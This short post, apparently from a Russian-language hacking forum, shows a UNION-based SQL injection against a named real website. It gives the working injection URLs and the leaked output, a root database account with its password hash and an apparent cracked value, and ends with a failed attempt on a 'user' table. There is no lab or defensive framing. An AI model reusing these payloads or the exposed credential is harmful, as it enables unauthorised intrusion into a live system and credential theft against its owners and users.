http://www.pdma.org/

http://www.pdma.org/news.php?ID=213+union+select+1,concat(user,char(58 ),password),3,4,5,6,7,8,9,10+from+mysql.user/*

root:0cfc2076799e429f:hippo



еще есть таблица user

http://www.pdma.org/news.php?ID=213+union+select+1,2,3,4,5,6,7,8,9,10+ from+user/*


Но колонки подпбрать не смог